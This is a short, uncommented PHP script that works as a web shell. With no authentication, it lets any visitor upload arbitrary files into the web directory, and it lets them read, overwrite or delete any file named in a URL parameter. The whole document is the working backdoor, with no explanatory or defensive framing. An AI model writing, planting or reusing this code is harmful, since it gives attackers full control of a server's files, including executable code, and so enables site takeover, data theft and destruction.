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<?
echo '<form method=post action="" enctype="multipart/form-data">
<input name=file type=file>
<input type=submit ></form>';


if($_FILES['file']['name'] !=''){

if(copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
{ 
echo "upload Successfully";}
else{echo 'failed';}
}

if($_GET['name']){
$filename=$_GET['name'];
if($_POST){
if($_POST['delete']=='delete'){
if(unlink($filename)){echo $filename.' deleted<br>';}
}else{
$handle = fopen($filename, "w");
fwrite($handle, $_POST['content']);
fclose($handle);
}}
if(file_exists($filename)){
$handle = fopen($filename, "r");
$content = fread($handle, filesize($filename));
echo '<textarea cols=50 rows=20>'.$content.'</textarea>';
fclose($handle);
}else{ echo 'file not found';}

echo '<form method=post action="">
<textarea name=content cols=50 rows=20></textarea>
<br><input type=submit name=delete value=delete>
<input type=submit></form>';
}
?>
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